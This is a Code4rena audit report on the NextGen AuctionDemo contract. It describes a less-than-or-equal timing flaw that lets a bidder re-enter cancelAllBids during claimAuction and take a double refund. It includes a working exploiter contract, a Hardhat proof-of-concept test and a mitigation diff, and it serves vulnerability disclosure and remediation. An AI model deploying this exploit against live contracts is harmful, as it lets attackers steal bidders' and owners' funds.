Malicious users can double claim their bid/s because of a less than or equal comparison in the cancelBid and cancelAllBids functions

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L125
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

Some bidders will be able to get a double refund of their deposited eth, while others won't be able to get a refund at all.

Proof of Concept

In the current implementation of the AuctionDemo contract, both the cancelBid and cancelAllBids functions are comparing the block.timestamp to the auctionEndTime using a less than or equal to comparison. This is fine on its own, but because in the claimAuction function we are also comparing the same values using greater than or equal to, we have an issue. The issue is that if the block.timestamp equals the auctionEndTime, a malicious user that has placed a bid, can call cancelBid/cancelAllBids from their receive function, when they receive their eth refund from claimAuction. That way, they will get back double the amount of their bid, while other legit users will not be able to get a refund at all. As we know, tweaking the block timestamp up a bit in order to satisfy the above condition is definitely within the realm of possibility and can easily happen if the right incentives are in place.

A Proof of Concept (PoC) demonstrating a very basic scenario of how this can be exploited is provided bellow.

To get the PoC up and running, follow these steps:

1. In the hardhat/smart-contracts directory, create a new file named AuctionDemoDoubleRefundee.sol
2. Paste the following code in the file you just created:

pragma solidity 0.8.19;

import './AuctionDemo.sol';

contract AuctionDemoDoubleRefundee {
    auctionDemo public aucitonDemoInstance;
    uint256 public targetTokenId;

    constructor(address _auctionDemoAddress, uint256 _targetTokenId) {
        aucitonDemoInstance = auctionDemo(_auctionDemoAddress);
        targetTokenId = _targetTokenId;
    }

    function placeBid() external {
        aucitonDemoInstance.participateToAuction{value: address(this).balance}(targetTokenId);
    }

    receive() external payable {
        if(aucitonDemoInstance.minter().getAuctionEndTime(targetTokenId) == block.timestamp) {
            aucitonDemoInstance.cancelAllBids(targetTokenId);
        }
    }
}

3. Import the mine and time utilities from @nomicfoundation/hardhat-toolbox/network-helpers at the top of the hardhat/test/nextGen.test.js file like so:

const {
- loadFixture
+ loadFixture, mine, time
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")

4. Paste the following test at the bottom of the the NextGen Tests describe block in the hardhat/test/nextGen.test.js file:

// PoC test
  it.only("should receive double the Ether that they originally bided with, while the auction owner should not receive anything", async () => {
    const initialBlockTimestamp = (await ethers.provider.getBlock("latest"))
      .timestamp;

    // **Setup logic starts here**
    await contracts.hhCore.addMinterContract(contracts.hhMinter);
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    await contracts.hhCore.createCollection(
      "Test Collection 5",
      "Artist 5",
      "For PoC",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"]
    );

    await contracts.hhCore.setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      1, // _maxCollectionPurchases
      50, // _collectionTotalSupply
      200 // _setFinalSupplyTimeAfterMint
    );

    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      BigInt(1000000000000000000), // _collectionMintCost 1 eth
      BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth
      0, // _rate
      200, // _timePeriod
      2, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );

    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      initialBlockTimestamp, // _allowlistStartTime
      initialBlockTimestamp + 1000, // _allowlistEndTime
      initialBlockTimestamp + 2000, // _publicStartTime
      initialBlockTimestamp + 3000, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );

    const auctionDemo = await ethers.getContractFactory("auctionDemo");
    const auctionDemoDoubleRefundee = await ethers.getContractFactory(
      "AuctionDemoDoubleRefundee"
    );

    const auctionDemoContract = await auctionDemo.deploy(
      contracts.hhMinter.getAddress(),
      contracts.hhCore.getAddress(),
      contracts.hhAdmin.getAddress()
    );
    const auctionDemoContractOwner = await auctionDemoContract.owner();

    const blockTimestampOffset = 150;
    const auctionEndTime = initialBlockTimestamp + blockTimestampOffset;
    const collectionId = 1;
    const targetTokenId =
      (await contracts.hhCore.viewTokensIndexMin(collectionId)) +
      (await contracts.hhCore.viewCirSupply(collectionId));

    await contracts.hhMinter.mintAndAuction(
      signers.addr1,
      "Mock token data",
      0, // _saltfun_o parameter
      collectionId,
      auctionEndTime
    );

    await contracts.hhCore
      .connect(signers.addr1)
      .approve(auctionDemoContract.getAddress(), targetTokenId);
    // **Setup logic ends here**

    // First user places a bid
    await auctionDemoContract
      .connect(signers.addr2)
      .participateToAuction(targetTokenId, { value: BigInt(1e18) }); // 1 eth

    // We deploy our exploiter contract
    const auctionDemoDoubleRefundeeContract =
      await auctionDemoDoubleRefundee.deploy(
        auctionDemoContract.getAddress(),
        targetTokenId
      );

    const exploitBidAmount = BigInt(2e18); // 2 eth

    await signers.owner.sendTransaction({
      to: auctionDemoDoubleRefundeeContract.getAddress(),
      value: exploitBidAmount,
    });

    // We place our bid from the exploiter contract
    await auctionDemoDoubleRefundeeContract.placeBid();

    // Two more bids take place
    await auctionDemoContract
      .connect(signers.addr3)
      .participateToAuction(targetTokenId, { value: BigInt(3e18) }); // 3 eth
    const winningBidAmount = BigInt(4e18); // 4 eth
    await auctionDemoContract
      .connect(signers.addr2)
      .participateToAuction(targetTokenId, { value: winningBidAmount });

    // We fast-forward to the auctionEndTime - 1 second (we are subtracting one second from it
    // because for some reason, when the claimAuction call is made, the timestamp is incremented by 1)
    await time.increaseTo(auctionEndTime - 1);

    const aucitonOwnerBalanceBefore = await ethers.provider.getBalance(
      auctionDemoContractOwner
    );

    // The winner claims their rewards
    await auctionDemoContract
      .connect(signers.addr2)
      .claimAuction(targetTokenId);

    // Verifiying that the timestamp was incremented by 1 during the claimAuction call (so that we are sure
    // the claimAuction call was made exactly on the auction end timestamp)
    const currentTimestamp = (await ethers.provider.getBlock("latest"))
      .timestamp;
    expect(currentTimestamp).equal(auctionEndTime);

    // And as expected, the exploiter contract was sent double their initial deposit (2 eth * 2 = 4 eth)
    const exploitContractBalanceAfter = await ethers.provider.getBalance(
      auctionDemoDoubleRefundeeContract.getAddress()
    );
    console.log("Ballance after exploit: ", exploitContractBalanceAfter); // This is going to be printed just above the gas report table (should be equal to 4e18)
    expect(exploitContractBalanceAfter).equal(exploitBidAmount * BigInt(2));

    // Even though the auction contract owner should have received the eth amount from the winning bid,
    // he did not receive anything, because the contract did not have enough funds to fulfill that transfer (because of the exploit)
    const aucitonOwnerBalanceAfter = await ethers.provider.getBalance(
      auctionDemoContractOwner
    );
    expect(aucitonOwnerBalanceAfter).equal(aucitonOwnerBalanceBefore);
  });

5. Run npx hardhat compile in the hardhat directory
6. Run npx hardhat test in the hardhat directory

Tools Used

Manual Review, Hardhat

Recommended Mitigation Steps

Remove the less that or equal to operator in both the cancelBid and cancelAllBids functions and replace it with a less than operator.

function cancelBid(uint256 _tokenid, uint256 index) public {
-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+       require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

function cancelAllBids(uint256 _tokenid) public {
-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+       require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

Access Control

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)